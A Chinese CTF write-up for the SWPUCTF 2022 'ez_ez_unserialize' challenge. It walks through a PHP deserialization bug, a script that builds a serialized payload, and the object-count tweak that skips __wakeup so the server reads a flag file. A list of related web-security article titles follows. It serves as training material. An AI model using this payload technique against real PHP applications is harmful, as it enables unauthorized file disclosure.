复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
Chockmans15 小时前
春秋云境CVE-2021-44915
web安全·网络安全·春秋云境·cve-2021-44915
wanhengidc19 小时前
BGP服务器网络安全如何
运维·服务器·web安全
上海云盾王帅19 小时前
Web安全与风险全景解读:从基础概念到实战防御
安全·web安全
黑战士安全20 小时前
基于Ollama的自动化渗透测试框架:设计方案
web安全·网络安全·渗透测试
zhouping@20 小时前
[极客大挑战 2020]Greatphp
android·ide·web安全·android studio
山川绿水21 小时前
Buuctf——[GYCTF2020]Ezsqli
web安全·网络安全·ctf
波兰的蓝21 小时前
《内网渗透实战:红日 1 号全流程复现(Web 入侵 / 提权 / 横向移动 / 黄金票据)》
web安全·网络安全
zjeweler21 小时前
redis_tools_gui_v1.2 —Redis图形化漏洞利用工具
数据库·redis·web安全·缓存·安全性测试
llxxyy卢1 天前
polar春季赛web题目
前端·web安全
xingxin321 天前
日志文件分析溯源(连接WebShell的IP地址)实验报告
安全·web安全·网络安全·php·文件上传